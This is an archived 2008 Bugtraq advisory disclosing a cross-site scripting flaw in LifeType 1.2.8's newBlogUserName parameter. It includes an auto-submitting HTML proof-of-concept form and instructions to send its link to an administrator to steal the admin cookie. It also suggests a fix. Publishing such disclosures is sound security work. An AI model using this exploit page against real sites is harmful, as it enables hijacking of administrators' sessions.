bugtraq - LifeType 1.2.8

lists.openwall.net		lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC
Open Source and information security mailing list archives

Hash Suite: Windows password security audit tool. GUI, reports in PDF.

[<prev] [next>] [day] [month] [year] [list]

Date: 5 May 2008 13:56:00 -0000
From: irancrash@...il.com
To: bugtraq@...urityfocus.com
Subject: LifeType 1.2.8

----------------------------------------------------------------
Script : LifeType 1.2.8
Type : XSS Vulnerability
----------------------------------------------------------------
Discovered by : Khashayar Fereidani Or Dr.Crash
Our Team : IRCRASH
----------------------------------------------------------------
Our Site : Http://IRCRASH.COM
IRCRASH Bugtraq : Http://BUGTRAQ.IRCRASH.COM
----------------------------------------------------------------
IRCRASH Team Members : Dr.Crash Or Khashayar Fereidani - Hadi Kiamarsi - Malc0de - R3d.w0rm - Rasool Nasr
----------------------------------------------------------------
Script Download : http://mesh.dl.sourceforge.net/sourceforge/lifetype/lifetype-1.2.8.tar.bz2
----------------------------------------------------------------
Type : Cross Site Scripting
Method Of Send : POST
File Name : http://Example/admin.php?op=editArticleCategories
Vulnerable Variable : newBlogUserName
Set "Add this user" Variable : "Add"
Set "op" Variable : "addBlogUser"
You Can Get Admin Cookie With This Vuln ....
----------------------------------------------------------------
Exploit :
Upload This Page And Send Link For Administrator .
________________________________
<html>
<head></head>
#Vulnerabily discovered by Khashayar Fereidani Or Dr.Crash
<body onLoad=javascript:document.form.submit()>

<form action="http://Example/lifetype/admin.php?op=editArticleCategories"

method="POST" name="form">

<input type="hidden" name="newBlogUserName" value="&#x22;&#x20;[XSS CODE]">
<input type="hidden" name="Add this user" value="Add">
<input type="hidden" name="op" value="addBlogUser">

</form>
</body>
</html>
________________________________
----------------------------------------------------------------
Solution : Edit Source Code And Filter newBlogUserName Variable With htmlspecialchar() function .......
----------------------------------------------------------------
TNx : God......
Khashayar Fereidani Email : irancrash[at]gmail[dot]com
IRCRASH TEAM - Http://IRCRASH.COM/
----------------------------------------------------------------